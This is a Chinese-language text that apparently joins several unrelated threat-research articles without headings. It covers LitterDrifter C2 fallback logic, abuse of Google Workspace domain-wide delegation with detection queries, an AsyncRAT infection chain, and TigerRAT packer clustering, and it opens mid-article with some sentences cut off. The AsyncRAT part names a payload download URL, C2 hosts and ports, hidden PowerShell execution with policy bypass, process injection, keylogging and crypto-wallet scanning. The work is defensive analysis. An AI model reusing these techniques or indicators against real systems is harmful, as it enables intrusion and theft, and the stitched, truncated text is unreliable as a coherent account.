在嘗試聯繫C2服務器之前,腳本檢查%TEMP%文件夾中是否有一個現有的C2配置文件,該文件的名稱在惡意軟件中是硬編碼的。這種機製作為惡意軟件的自檢,驗證它是否已經感染了設備。如果存在,當前執行可能只是由前面討論的持久性機制觸發的計劃執行;如果沒有現有的配置文件,惡意軟件將切換設備並使用WMI查詢ping Gamaredon的其中一個域:select * from win32_pingstatus where address='Write

7.png

LitterDrifter使用WMI查詢檢索C2 IP地址

有了IP地址,LitterDrifter將IP構造成URL。格式通常為http://

最終的結果是一個用戶代理,看起來類似於mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/88.0.4324.152 yabrowser/21.2.3.106 yowser/2.5 safari/537.36;

8.png

LitterDrifter準備HTTP請求,構造URL和用戶代理

請求的HTTP標頭也經過精心定制。例如,在一個樣本中,Referer字段包含https://www.crimea.kp.ru/daily/euromaidan/,它還在Cookie字段中隱藏了Accept-Language和字符串marketCookie的一些細節。

9.png

HTTP請求函數

LitterDrifter使用一個失敗計數器來選擇哪個C2方法是相關的。每次C2未能返回有效負載或Telegram備份通道時,失敗計數器都會增加,LitterDrifter從中提取替代C2。代碼流表明,要返回的第一個答案通常是一個Telegram頻道ID,它保存在備份文件中。

根據失敗計數,LitterDrifter選擇連接哪個C2:

1.如果失敗計數器當前設置為0,則對保存在配置文件中的文件執行請求。

2.如果失敗計數器當前設置為1,LitterDrifter將嘗試使用WMI Query解析其嵌入的C2域,如前所述。

3.如果失敗計數器設置為2,LitterDrifter嘗試連接到從Telegram備份通道提取的C2,使用不同的用戶代理和https://www.interfax.ru/tags/的Referer,這是另一個俄羅斯新聞網站,它會從中提取一個用作C2的IP地址。

10.png

Gamaredon的Telegram頻道隱藏了一個CC的IP地址

如果在C2應答中找到有效負載,LitterDrifter將嘗試解碼它。它打開所有base64內容,並嘗試運行解碼後的數據。根據分析,負載沒有下載到大多數目標。

11.png

LitterDrifter的失敗計數選項和接收有效負載的執行(去混淆)

基礎設施在整個分析過程中,Gamaredon在這次行動中使用的基礎設施有明顯的模式。包括註冊模式,因為Gamaredon的LitterDrifter使用的所有域名都是由REGRU-RU註冊的,並且是TLD .ru的一部分。

這些發現與過去關於Gamaredon基礎設施的其他報告一致。

基於其中的一些模式,我們能夠將特定的域和子域與LitterDriffter的活動聯繫起來,並將其他域與Gamaredon的其他活動集群聯繫起來。

在LitterDrifter活動中,C2模塊通過WMI查詢獲得gamaredon擁有的域的解析。它通過使用隨機單詞和數字生成硬編碼域的隨機子域來實現這一點,因此每個域都顯示出不同範圍的相關子域。有些域只有幾個子域,而另一些則有幾百個子域。下圖表顯示了每個域的子域數量:

12.png

每個域的子域數量

如前所述,對Gamaredon域的WMI查詢返回一個IP地址,該地址用作活動的操作C2。平均而言,一個IP地址可以運行大約28小時。但是,作為活動C2的IP地址通常一天會更改幾次,所使用的所有IP地址都可能屬於同一子網,如下所示:

13.png

過去兩個月每天的CC IP地址數目

總結很明顯,LitterDrifter是為支持大規模收集操作而設計的,它利用簡單而有效的技術,盡可能觸及廣泛的目標,但LitterDrifter並不依賴於突破性的技術,可能看起來是一個相對簡單的惡意軟件。

微信截图_20231203170519.png

Google Suite是Google在訂閱基礎上提供的一套雲計算生產力和協作軟件工具和軟件,它包含Google廣受歡迎的網上應用,包括Gmail、Google雲端硬盤、Google環聊、Google日曆和Google文檔,現已更名為Google Workspace。研究人員用一種意想不到的方式訪問了來自Google Cloud Platform (GCP)的Google Workspace域數據。

研究人員發現,具有必要權限的GCP標識可以為委託用戶生成訪問令牌,擁有被盜憑證的惡意內部人員或外部攻擊者可以使用此訪問令牌冒充Google Workspace用戶,授予對其數據的未經委託訪問或以其名義執行操作。

隨著組織越來越依賴基於雲的服務,如Google Workspace和Google Cloud Platform GCP,深入研究其安全功能和漏洞的複雜性變得至關重要。

全域委託濫用概述模擬下圖所示的可能的攻擊路徑可能是惡意的內部人員利用他們的訪問權限,例如,在GCP項目中具有編輯器權限的開發人員。他們可以通過濫用在GoogleWorkspace中被授予全域委託權限的服務帳戶來做到這一點,內部人員有權在同一個GCP項目中為服務帳戶生成訪問令牌。

1.png

第二個攻擊場景

啟用了全域委託權限後,惡意的內部人員可以冒充Google Workspace域中的用戶,並使用訪問令牌對API請求進行身份驗證。通過利用適當的作用域和API訪問,內部人員可以訪問和檢索敏感的Google Workspace數據,這可能會危及存儲在域內的電子郵件、文檔和其他機密信息。這些攻擊突出了全域委託功能的威脅。

如果攻擊者獲得了附加到計算引擎實例的GCP服務帳戶令牌,則會出現最壞的情況。例如,計算引擎默認服務帳戶,默認具有編輯器權限,攻擊者可以利用全域內的委託功能來產生更大的影響。如果在同一個項目中,存在一個具有全域委託的服務帳戶,這可能導致攻擊者模仿被委託的服務帳戶,並從GCP橫向移動,以獲得對Google Workspace環境的訪問權。

Google Workspace在研究人員深入研究Google Workspace和GCP中最近出現的複雜安全風險之前,有必要了解這些強大的基於雲的服務。

Google Workspace應用程序是基於雲的協作工具的集合。組織使用Google Workspace通過各種工具來提高他們的工作效率和溝通,例如:

電子郵件;

日曆;

文件存儲和共享;

團隊溝通;

工作流自動化;

安全;

政府;

Google Workspace提供基於角色的訪問控制(RBAC)功能,並允許管理員為用戶分配特定的角色,根據用戶的職責和需求授予他們預定義的權限集。這些角色包括:

超級管理員;

組織管理;

一般用戶管理;

每個角色對組織的Google Workspace環境的不同方面具有特定的權限和控制。 Google Workspace超級管理員擁有更高的權限和更廣泛的域管理職責,包括向服務帳戶授予全域委託權限。

Google Workspace管理員還可以定義特定於應用程序的權限,並限制共享和可見性設置。例如,管理員可以實施防止用戶公開共享文件的策略,並限制共享選項,以確保文件保持在委託範圍內。

GCP和Google Workspace之間鏈接的一個常見用例是,託管在GCP上的應用程序需要與Google Workspace服務之一進行交互。這些服務包括:

Gmail

Calendar

Drive

Docs

這種集成允許應用程序訪問和操作特定於用戶的數據,代表用戶執行操作,或者利用Google Workspace的協作和運行功能。

創建與Google服務交互、訪問Google API、處理用戶數據或代表用戶執行操作的應用程序需要一個委託的GCP服務帳戶。

什麼是服務帳戶?服務帳戶是GCP中的一種特殊類型的帳戶,它表示非人類實體,如應用程序或虛擬機,它允許他們進行身份驗證並與Google API進行交互。服務帳戶與應用程序本身相關聯,而不是與單個最終用戶相關聯。

與用戶帳戶不同,服務帳戶不是Google Workspace域的成員。它們不受Google Workspace管理員設置的域策略的約束,只有在被授予全域委託的情況下才能訪問用戶的數據。

什麼是全域委託?全域委託是Google Workspace中的一個功能,它允許GCP服務帳戶訪問Google Workspace用戶的數據,並代表他們在特定域中進行操作。

當使用全域委託功能時,應用程序可以代表Google Workspace域中的用戶進行操作,而不需要單個用戶對應用程序進行身份驗證和委託。

只有Google Workspace超級管理員才能委託應用程序(作為服務帳戶)代表域中的用戶訪問數據。這種委託稱為“將全域內的權限委託給服務帳戶”。

全域內的委託是如何工作的?要使用全域委託功能,需要執行以下步驟:

1.啟用全域委託:Google Workspace超級管理員為服務帳戶授予全域委託,以及允許該訪問的一組OAuth範圍。這些範圍詳細說明了服務帳戶可以訪問哪些特定服務和特定操作。

例如,如果只是/auth/gmail.readonly被授予,服務帳戶將有權讀取用戶的Gmail郵件,當代表該用戶時,但不能讀取他們的其他工作區數據,如訪問驅動器中的文件。

2.請求Google Workspace訪問令牌:應用程序使用適當的憑據向Google Workspace令牌終端發送請求。這包括服務帳戶的客戶端ID和客戶端秘密,以及訪問用戶數據所需的範圍。如果請求是有效的,並且服務帳戶已被授予必要的全域委託特權,則令牌終端使用訪問令牌進行響應。應用程序可以使用此訪問令牌在請求的範圍內跨域訪問用戶數據。

3.API訪問:應用程序在API請求中包含訪問令牌作為委託標頭,它代表服務帳戶作為身份驗證和委託的證明。

2.png

全域委託流

當被授予全域委託時,Google Workspace中的服務帳戶可以訪問用戶數據,代表用戶進行操作,並驗證對Google API的請求。具體的功能和可訪問的數據取決於所定義的範圍。

了解全域委託功能的風險和影響

一旦將全域委託授予GCP服務帳戶,具有必要權限的GCP標識就可以為同一項目中的委託服務帳戶生成訪問令牌。然後,惡意的內部人員可以使用此訪問令牌冒充Google Workspace用戶,授予對用戶數據的未經委託的訪問權限或代表用戶執行操作。

這種情況造成了全域委託權限的敏感性與GCP平台上管理的權限模型之間的不匹配。

Google文檔包含一個關於全域委託功能的警告通知,其中概述了該功能的重要功能。 Google提到,“只有超級管理員才能管理全域內的委託,並且他們必須指定應用程序可以訪問的每個API範圍。”

谷歌曾建議不要對服務帳戶使用自動角色授予,這會阻止創建默認的谷歌計算引擎服務帳戶。為了幫助緩解過多的權限,Google有關於GCP角色推薦的手冊。

利用兩端審計日誌識別可能存在的濫用攻擊如果不分析來自兩個平台、GCP和Google Workspace的審計日誌,就不可能了解活動全貌,並確定全域內委託功能的任何潛在濫用。服務帳戶密鑰日誌的生成將出現在GCP日誌中,而Google密鑰生成和API調用執行日誌將出現在Google Workspace日誌中。

在下圖中,有一個來自Cortex web界面的XQL查詢,它在GCP審計日誌中搜索服務帳戶密鑰創建。

3.png

搜索服務帳戶密鑰創建

4.png

Prisma Cloud RQL語法中的等效查詢

下圖顯示了一個搜索服務帳戶委託日誌的XQL查詢。

5.png

搜索Google Workspace訪問令牌請求

6.png

Prisma Cloud RQL語法中的等效查詢

下圖顯示了研究人員檢查了誰給了這個服務帳戶全域委託權限,以及什麼時候發生了這種情況。

7.png

搜索指示已向服務帳戶授予全域委託權限的日誌

8.png

Prisma Cloud RQL語法中的等效查詢

下圖顯示了在Cortex web界面中觸發的警報,上面顯示Google Workspace管理員已啟用對GCP服務帳戶的全域委託,並授予他訪問敏感範圍的權限。

9.png

Cortex web界面中的全域委託警報

緩解措施研究人員已經確定的安全風險在於惡意內部人員濫用全域委託功能所需的初始權限與潛在影響之間的不匹配。

具有域委託權限的服務帳戶的最佳安全實踐是將它們放置在GCP層次結構中的高級文件夾中。在GCP層次模型中,訪問控制是分層的。

在較高級別設置的權限和策略(例如,組織或文件夾)不會自動授予對較低級別文件夾或項目的訪問權限。訪問控制在層次結構中不向下繼承,這意味著較低級別的文件夾或項目不能自動訪問較高級別的文件夾或項目。

10.png

GCP資源層次樹

此策略緩解了潛在惡意內部人員破壞安全的空間,這些內部人員通常只擁有上圖所示的GCP層次結構中的較低級文件夾或項目的權限。通過確保只有相同或更高級別文件夾或項目中的實體才能生成對委託服務帳戶的訪問令牌,可以阻止低級區域中的實體獲取服務帳戶的訪問令牌。這有助於防止濫用全域委託權限,並防止對Google Workspace數據的訪問。

總結自2023年6月以來,研究人員一直在通過各種方式與穀歌討論這個問題,Axon團隊也發現了這個問題,他們也向谷歌進行了報告。

在配置此權限時,安全防御者需要考慮與全域委託功能相關的風險和含義。根據全域委託授予的範圍,攻擊者可以使用該功能來冒充Google Workspace用戶,代表他們執行操作並獲得對其數據的未經委託的訪問。

必須強調攻擊者濫用此功能所需的初始權限與可能的影響之間的不匹配。在最壞的情況下,攻擊者或惡意的內部人員可能會洩露敏感的Google Workspace數據,例如存儲在域中的電子郵件、文檔和其他機密信息。

Cortex XDR功能可以識別和警告各種異常活動,例如授予全域委託權限或創建GCP服務帳戶密鑰。 Cortex XDR能夠學習GCP和Google Workspace實體的攻擊,並檢測異常攻擊。

Prisma Cloud CIEM可以通過以下方式幫助降低風險和過度權限訪問:

1.風險權限的可見性、警報和自動補救;

2.使用最低權限訪問補救措施自動查找未使用的權限;

3.Prisma Cloud威脅檢測功能可以對各種與身份相關的異常活動發出警報,例如來自云內部或云外部的異常使用憑據。

4.Prisma Cloud還可以執行運行時操作監控,並為與其云環境相關的任何組件提供治理、風險和遵從性(GRC)要求。

最近,趨勢科技管理的XDR (MxDR)團隊處理了涉及AsyncRAT的各種樣本,這是一種具有多種功能的遠程訪問工具(RAT),例如鍵盤記錄和遠程桌面控制,這種工具可以使其對受害者構成重大攻擊。例如,攻擊者會冒充當地銀行和執法機構,將AsyncRAT傳播給他們的目標。

2021年,AsyncRAT參與了名為“Spalax行動”的網絡釣魚活動,這些網絡釣魚活動一直持續到2021年底和2022年初。他們使用HTML附件進行AsyncRAT傳播,同時還集成了反射加載技術。

t0:用戶下載帶密碼保護的ZIP文件downloadedFile_SSAfnmeddOFzc.zip;

1分20秒:用戶解壓縮包含.wsf腳本的ZIP文件

1分26秒:下載並執行第一個有效負載,導致下載第二個有效負載;

1分35秒:自動啟動;

1分59秒:下載並執行第二個有效負載;

5分48秒:進程注入到aspnet_compiler.exe和通過動態DNS的命令與控制(CC)連接

下圖描述了對涉及aspnet_compiler.exe的可疑活動的檢測,該活動試圖與外部IP地址45[.]141[.]215[.]40建立連接。同時,我們的分析揭示了有關PowerShell腳本和批處理文件的執行情況。我們能夠使用這些數據作為支點,回溯並調查文件的入口點及其附加活動。

1.png

被觸發的工作台警報

我們發現,攻擊的觸發因素是一個最初通過谷歌Chrome下載的名為downloadd_file_ssafnmeddofzc .zip的文件。

2.jpg

通過Chrome瀏覽器下載downloadfile_ssafnmeddofzc .zip文件

用戶打開ZIP文件,可以發現其中包含一個名為downloaddfile_ssafnmedd .wsf的腳本文件。我們收集了ZIP文件,發現它是受密碼保護的。

根據最近的報告顯示,AsyncRAT通常通過垃圾郵件傳播。我們強烈懷疑用戶可能已經收到了解壓ZIP文件的密碼,以及惡意鏈接。用戶使用密碼提取並打開了文件,突出了攻擊者用來規避檢測的常用策略,即使用電子郵件中包含的密碼提取ZIP文件。

3.jpg

檢查執行配置文件會發現wscript.exe是通過Windows資源管理器啟動的,這表明用戶通過雙擊它來執行該文件。安裝順序包括創建和執行多個PowerShell腳本(.ps1)、VBScript (.vbs)和批處理文件(.bat)。

4.png

執行downloadd_file_ssafnmeddofzc .wsf文件並創建多個腳本文件

通過使用反惡意軟件掃描接口(AMSI)監測(TELEMETRY_AMSI_EXECUTE),我們在運行時獲得了與downdownloadfile_ssafnmeddofzc .wsf相關的數據,使我們能夠辨別文件的目的及其相應的活動。

5.jpg

腳本下載file_ssafnmeddofzc .wsf(.wsf)是一個Windows腳本文件,它使用PowerShell和VBScript命令的混合來執行一系列活動。它創建了一個WScript.Shell對象,通常用於執行Shell命令,並在C:\Users\Public目錄中生成名為VLCdllFrame.xml的文本文件。作為第二個參數的' true '值表示,如果該文件已經存在,則該文件將被覆蓋。

腳本使用start - bittransfer命令從hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg下載文件,以“snakers.zip”保存。隨後,它將內容提取到C:\Users\Public目錄中,或者在某些情況下提取到C:\Users\Public\ pictures \中。執行PowerShell命令後,腳本將刪除之前創建的VLCdllFrame.xml文件。

我們收集了snake .zip並分析了其內容,發現其存在各種惡意腳本,這些腳本都是AsyncRAT安裝例程的組成部分。

6.jpg

AsyncRAT安裝例程的組件

下圖描述了由Vision One生成的執行概要文件,說明了當用戶打開文件downloadd_file_ssafnmeddofzc .wsf時觸發的AsyncRAT安裝例程中的事件序列。

7.png

AsyncRAT安裝鍊和代碼注入到aspnet_compiler.exe

我們觀察到aspnet_compiler.exe正在建立與IP地址208[.]95[.]112[.]1:80(IP-api[.]com)和45[.]141[.]215.40:4782(httpswin10[.]kozow[.].com)的連接。前者用於地理位置檢查,而後者(被標識為免費動態DNS)可能被攻擊者用來混淆其真實服務器IP地址,從而實現快速更改以逃避檢測。在其他情況下,可以看到它連接到66escobar181[.]ddns[.]net,另一個動態DNS服務器。

8.png

連接到外部IP地址45[.]141[.]215.40(動態DNS)的aspnet_compiler.exe可執行文件

計劃任務的創建名為Reklam或Rekill,提供了AsyncRAT持久性功能。下圖顯示了Webcentral.ps1的內容,該腳本負責創建一個計劃任務,該任務使用Windows任務調度程序服務每兩分鐘執行一次C:\Users\Public\hash.vbs或C:\Users\Public \Pictures\hash.vbs。

9.png

Webcentral.ps1為持久性創建計劃任務(由AMSI遙測記錄)腳本

分析通過分析腳本,我們能夠更深入地了解攻擊的目標。下圖說明了該攻擊如何策略性地使用多層腳本作為逃避檢測的手段。隨後,它繼續向aspnet_compiler.exe執行代碼注入,這是另一種不被檢測到的方法。

接下來,我們將討論從snakes .zip中提取的每個腳本的目標。

10.png

AsyncRAT安裝例程

Webcentral.vbs腳本使用net session命令檢查它是否以管理權限運行(第9-10行)。如果成功,它會向攻擊者標記存在管理權限(isAdmin),然後運行存儲在變量executionCommand中的命令,將其定向到批處理文件(C:\Users\Public\Webcentral.bat)。該腳本包括錯誤處理技術,使用On Error Resume Next和On Error GoTo 0語法來管理錯誤並保持腳本順利運行。

11.png

Webcentral.vbs檢查管理權限,然後執行Webcentral.bat

bat腳本啟動PowerShell執行位於C:\Users\Public\Webcentral.ps1的腳本。它使用-NoProfile,-WindowStyle Hidden和-ExecutionPolicy Bypass參數在隱藏窗口中使用繞過的執行策略運行PowerShell。

12.png

Webcentral.bat執行Webcentral.ps1

Webcentral.ps1Webcentral.ps1腳本創建一個名為Reklam的計劃任務,該任務每兩分鐘運行一次腳本(hash.vbs)。計劃任務已啟用,即使設備使用電池運行,也可以啟動。 hash.vbs腳本位於C:\Users\Public\hash.vbs目錄中,作為計劃任務的一個操作執行。該任務是使用Windows任務計劃程序服務註冊的。

13.png

Webcentral.ps1創建計劃任務並將其設置為每兩分鐘運行一次Hash.vbs

Hash.vbs與Webcentral.vbs是相同的腳本,但指向不同的文件(C:\Users\Public\Hash.bat)。

Hash.bat與Hash.vbs類似,Hash.bat是Webscentral.bat的腳本,但指向不同的文件(C:\Users\Public\Hash.ps1)。

Hash.ps1Hash.ps1解碼並加載以msg.txt和runpe.txt編碼的PE文件,觸發aspnet_compiler.exe的執行。它使用解碼後的runpe.txt中的函數將AsyncRAT有效負載(解碼後的msg.txt)注入新生成的aspnet_compiler.exe進程中。

14.png

Hash.ps1解碼並加載以msg.txt和runpe.txt編碼的PE文件

解碼後的腳本如下:

15.jpg

這是一個PowerShell腳本,動態加載.NET程序集,特別是NewPE2.PE類型,並調用其Execute方法。 Execute方法用於向進程中註入與aspnet_compiler.exe相關的代碼,它是為惡意代碼注入而設計的,允許惡意攻擊者在合法的aspnet_compiler.exe進程的上下文中執行額外的代碼。

已解碼的runpe.txt(進程注入器代碼)如下圖所示,runpe.txt文件的解碼內容顯示了Hash中使用的代碼.ps1腳本執行進程注入到aspnet_compiler.exe。

16.1.png

16.2.png

預覽在Hash中加載和使用的進程注入函數.ps1腳本

Decodedmsg.txt (AsyncRAT Payload)在例程開始時解碼的配置,需要注意的值是主機名66escobar181[.]ddns[.]net和它所連接的端口號6666。

其他功能根據嵌入式配置,AsyncRAT後門具有其他功能。這包括反調試和分析檢查、持久性安裝和鍵盤記錄。下圖中的代碼片段檢查是否在嵌入式配置embeddedConfig中啟用了鍵盤記錄。如果啟用了keylogging,它將啟動一個新線程來執行startKeylogging方法。

17.png

鍵盤記錄配置值在運行時解密並引用變量

對於我們獲得的樣本文件,僅啟用了鍵盤記錄例程,該例程捕獲並記錄受攻擊計算機的每次擊鍵,並將數據發送到攻擊者控制的服務器。

18.png

18.2.png

啟用了鍵盤記錄程序,捕獲並記錄每個擊鍵

keylogging例程以與關聯程序(getActiveApplicationName())對應的日誌記錄鍵結束。此交互是從臨時目錄中的指定日誌文件中找到的。然後將信息記錄在%TEMP%\Log.tmp中。

代碼片段動態地從配置中選擇主機和端口。 AsyncRAT使用套接字連接與各種IP地址和端口進行交互,使其基礎設施具有動態性和適應性。它允許攻擊者頻繁更改服務器地址,使預測或阻止通信通道的工作複雜化。此外,代碼還包括錯誤處理機制,如果連接到特定IP地址或端口時出現問題,錯誤處理機制允許AsyncRAT嘗試替代連接或退回到默認配置,從而進一步強調攻擊者採用的規避策略。

19.png

AsyncRAT動態主機例程,在我們的樣本中,它通過端口6666連接到66escobar181[.]ddns[.]net

AsyncRAT有效負載在連接到服務器時收集客戶端信息。其中包括用戶名、計算機信息、安裝的防病毒軟件和安裝的加密貨幣錢包。

20.png

20.2.png

收集用戶名、計算機信息、防病毒程序和加密貨幣錢包的信息

AsyncRAT掃描應用程序目錄、瀏覽器擴展和用戶數據中的特定文件夾,以識別與特定加密錢包相關的文件夾名稱,並驗證它們在系統中的存在。

加密錢包檢查序言的代碼片段對與以下錢包字符串相關的某些目錄進行查詢:

Atomic

Binance

BinanceEdge

BitcoinCore

BitKeep

BitPay

Coinbase

Coinomi

Electrum

Exodus

F2a

LedgerLive

Meta

Phantom

RabbyWallet

Ronin

TronLink

TrustAsyncRAT攻擊的最新趨勢到2023年初,AsyncRAT攻擊仍然存在,利用包括PowerShell、Windows Script file (WSF)和VBScript (VBS)等各種文件類型來進行惡意攻擊。

分析解密後的AsyncRAT有效負載,可以明顯看出所使用的證書與AsyncRAT Server相關聯,這是AsyncRAT CC流量的一個特徵。通常,主題公共名稱被配置為“AsyncRAT服務器”或“AsyncRAT服務器CA”。

檢查主題通用名稱在識別AsyncRAT攻擊方面證明是有價值的,惡意軟件配置揭示了ID 3LOSH RAT的存在。這意味著有效負載可能使用了3LOSH加密器進行混淆和隱身,這解釋了在攻擊鏈的不同階段使用多個腳本。

在調查AsyncRAT樣本文件期間,我們發現了用於aspnet_compiler.exe的注入代碼與GitHub上的開源存儲庫之間的代碼相似之處。從客戶環境中獲得的AsyncRAT樣本和GitHub存儲庫上的版本之間出現了兩個明顯的區別。

首先,我們獲得的樣本包括BoolWallets作為掃描的加密貨幣錢包之一。其次,GitHub版本缺乏鍵盤記錄功能。然而,我們獲得的代碼顯示了鍵盤記錄功能,類似於在GitHub存儲庫中找到的另一個樣本。這些差異表明攻擊者定制了GitHub代碼以符合他們的特定目標。

探索動態DNS使用情況動態DNS允許攻擊者快速更改與域名相關的IP地址,這對試圖檢測和阻止惡意活動的安全系統提出了挑戰。我們最近的調查揭露了在No-IP和Dynu Systems, Inc名下註冊的CC域名。 66escobar181[.]ddns[.]net域解析為IP地址185[.]150[.]25[.]181。 VirusTotal分析表明,多個域被標記為惡意,都集中到同一個IP地址。

21.png

不同的域名解析到同一個IP: 185[.]150[.]25[.]181

進一步仔細檢查IP信息,我們發現了與託管提供商Zap-Hosting的關聯,該提供商以提供各種服務而聞名,例如游戲服務器、網站和虛擬專用服務器(VPS)。另一個域(httpswin10[.]kozow[.]com)也出現了類似的模式,它解析為與託管提供商關聯的IP地址。此IP地址還與其他惡意域共享,表明了攻擊者利用DDNS和託管提供商進行操作的一致策略。

總結本文介紹了AsyncRAT遠程訪問木馬,它具有諸如未經授權訪問、鍵盤記錄、遠程桌面控制和隱蔽文件操作等功能,並分析了它是如何作為各種攻擊的通用工具展開運行的,其中就包括勒索軟件。

策略性地使用多個混淆的腳本,結合'living off the land'技術,讓攻擊更加靈活,使他們能夠逃避檢測。再加上將代碼注入到合法文件(如aspnet_compiler.exe)中,這種技術大大增加了檢測這些攻擊的難度。

此外,使用動態主機服務器允許攻擊攻擊者無縫更新他們的IP地址,加強了在系統中不被發現的可能性。在許多情況下,AsyncRAT的默認目的保持不變,即竊取有價值的信息,如用戶名、密碼和加密貨幣錢包,通過鍵盤記錄捕獲的擊鍵使攻擊者能夠獲取憑據並可能訪問金融帳戶。

Malwarebytes(2021年4月),卡巴斯基(2021年6月)和韓國CERT(2021年9月)都先後報導了韓國遭受新型惡意軟件攻擊的新聞,該惡意軟件以前從未出現過且使用了全新的技術。

Malwarebytes的初步報告將這個攻擊歸咎於Lazarus組織,而卡巴斯基將其歸咎為Andariel APT,這是Lazarus的一個分支,根據韓國CERT (KrCERT)的報告,研究人員將此次攻擊中的惡意軟件工具稱為TigerDownloader和TigerRAT。 KrCERT報告對他們捕獲的惡意軟件樣本與之前卡巴斯基和Malwarebytes分析的惡意軟件樣本之間的關係進行了全面、詳細的對比分析。他們還使用了專們的歸因技術來進一步關聯攻擊。

在本報告中,我們將重點關注以前報告的攻擊中的惡意軟件工具。我們提供了新的證據,將這些工具歸為相同的下載程序和RAT家族。我們將這些家族分別稱為TigerDownloader和TigerRAT。選擇這些名字是為了紀念KrCERT的重要工作。

我們系統地研究了代碼重用以及在先前報告的攻擊的不同階段(即打包程序、下載程序和RAT 有效負載)中使用的所有樣本之間的函數共性。我們還發現,雖然這些工具屬於上述家族,但在報告的攻擊中,已經部署了不同的工具變體。對於RAT有效載荷,我們發現了三個具有不同函數的版本。對於下載程序,我們找到了兩個版本,一個有持久性函數,另一個沒有持久性函數。

除了這些發現,我們還對現有的分析體系提出了新的推測。

2021年4月19日,Malwarebytes在報告中提到了一個惡意的Word文檔,且發現了一個新的下載組件。

2021年6月15日,卡巴斯基發布了一篇關於相同攻擊的文章,並將其歸為Andariel APT組織,除了Malwarebyte的發現外,他們還發現了新的下載程序和RAT有效載荷。此外,他們還發現了RAT部署的一種新型勒索軟件。

2021年9月,KrCERT報告了一項他們稱之為“ByteTiger”的攻擊活動,這是一項針對韓國的攻擊,他們將其歸因於Andariel APT組織。他們將新的攻擊與之前Malwarebytes和卡巴斯基使用一些專有工具披露的樣本聯繫起來,對比了相似性/重用、rich header、section hash和C2基礎設施。

上述三個報告案例中的攻擊鏈在結構上都有一些相似之處,都觀察到一個下載惡意軟件。卡巴斯基和KrCERT還發現了第三階段RAT組件。在訪問方式上,Malwarebytes 和Kaspersky 報告的案例中攻擊者使用了惡意文件,而KrCERT 案例中使用了受感染的網站。

1.png

Malwarebytes、Kaspersky和KrCERT報告的攻擊鏈的異同

打包程序分析在本節中,我們將首先確定打包程序的二進製文件共享源自解包算法的公共代碼,然後我們展示了在我們可以使用的所有打包樣本的基礎上的一個通用的打包方案。因此,我們的發現提供了強有力的證據,表明二進製文件是由同一打包程序負責的。

打包示例中的共享代碼為了快速了解打包樣本是否相關,我們在函數級別執行了自動代碼重用分析。在下表中,“函數重用”列中的數字代表了一個函數發生的樣本數量。例如,地址為0x140002b70(第一行)的函數出現在27個打包示例中。也就是說,這是一個出現在所有打包樣本中的函數。

2.png

我們分析的27 個打包二進製文件中的函數重用

還有其他幾個函數(即0x140001bf0、0x140002030、0x140002860)出現在27 或26 個樣本中。從表中,我們可以確定打包的樣品是明顯相關的。它們都有兩個共同的函數,並且具有大量代碼重用的樣本子集。

簡而言之,自動化的函數重用分析讓我們可以快速了解打包樣本的關係。正如我們接下來將看到的,它還指導我們的手動分析工作。

根據分析,我們懷疑這些樣本共享了一些有效解包的函數,而剩餘的一些函數是為了避免被反病毒軟件、Yara以及相關的基於模式的檢測技術檢測到。然後,我們進一步研究了這些穩定函數,可以確認它們確實包含打包函數。此分析的結果如下所示。

3.png

在最穩定的函數中找到的函數

我們還可以確認垃圾代碼的存在,其作用是避免檢測技術。下圖顯示了兩個不同示例中的相同函數Decrypt_payload()。我們可以看到像GetFontUnicodeRanges()、GetSysColorBrush() 和CreateBitMap() 這樣的垃圾函數被調用,但它們的返回值沒有被使用。在下圖中,有效的解包代碼(在本例中為XOR 解密算法)包含在所示的綠色框中。

我們在所有打包代碼和許多函數中都發現了這種垃圾代碼策略。

4.png

打包程序代碼中的垃圾代碼,以躲避防病毒軟件和Yara 檢測

綜上所述,到目前為止,我們已經看到打包樣本通過一個公共打包程序代碼相關聯。打包樣本之間的代碼差異主要是由於垃圾代碼的存在。

常見的打包方案打包程序是一個簡單的加載程序,它解密並將有效載荷映射到內存中。解密方案是一個簡單的XOR加密,使用16字節的密鑰。此外,我們發現所有的打包程序變體都遵循相同的打包方案,而該方案的變體由兩個參數決定。一個參數是打包的有效載荷是否採用Base64編碼,另一個參數是在PE文件中存儲打包的有效載荷的位置。

下圖說明了有效載荷編碼的過程。

5.png

PE文件中打包代碼位置的變化,從左到右,PE 覆蓋、PE 資源部分或在此示例中名為OTC 的專用PE 部分中的打包代碼

對於使用專用部分的第三個變體,我們觀察到以下部分名稱:“KDATA,” “OTC,” “OTS,” “OTT,” 和“data.”。我們目前還無法確定這些名字背後的意義。

下圖顯示了我們分析的所有打包下載程序和RAT變體的常見打包方案。

6.png

所有樣品通用的打包方案

惡意軟件家族和變體在本節中,我們將通過代碼重用分析確定所有解壓縮的二進製文件都屬於一個下載程序或RAT家族。我們稱這些家族為TigerDownloader和TigerRAT惡意軟件家族。 KrCERT報告中介紹了這些名稱,用來指代他們調查中的下載程序和RAT組件。

為了快速了解解壓後的二進製文件,我們進行了組合集群和代碼重用分析。這種分析使我們能夠自動識別惡意軟件家族和家族內的惡意軟件變體。此分析的目標是快速了解二進製文件之間的關係,並將分析人員引導至相關樣本進行進一步的手動分析,以最終了解攻擊者的工具和能力。

集群和代碼重用分析的結果如下圖所示,該圖確認解壓後的二進製文件屬於TigerDownloader(藍色)或TigerRAT(橙色)家族。此外,我們看到每個家族都有三個變體(用大圓表示)。我們使用了97.5%的集群閾值,這意味著至少有97.5%相似的二進製文件屬於同一個集群。圖中的集群由所謂的“集群代表”(大圓)和直接連接到集群代表的樣本(小圓)組成。其基本思想是,集群中的樣本本質上是相同的,因此集群代表可以很好地代表。

7.png

使用縮略哈希表對未打包的樣本進行聚類和代碼重用分析

我們注意到聚類閾值的選擇對變體有明顯的影響:高閾值會顯示次要和更多變體,而低閾值會顯示較少和主要的變體。

從圖中我們可以得出以下結論:

在TigerDownloader和TigerRAT家族之間沒有代碼重用。回顧打包程序分析,儘管這兩個家族在代碼方面是不同的,但它們使用了相同的打包方案進行打包。

下載程序有三種變體:一種x86和兩種x64變體。這兩個x64變體非常接近(即97%的代碼重用),因此很可能是具有微小差異的變體。

在RAT家族中,我們遇到了三種類似的情況:一種x86和兩種x64。然而,這兩個x64變體隻共享55%的代碼,因此似乎是主要的RAT變體。

x64和x86二進製文件之間的關係較低,這是由於編譯器和CPU架構的差異,但仍然可以找到相關的代碼重用。

下圖中的表顯示了之前圖表中集群的詳細組成。我們還注意到,一些(哈希方式)獨特的打包樣本會導致(哈希方式)相同的未打包樣本,從而降低了所考慮樣本的有效多樣性。

8.png

詳細的集群信息

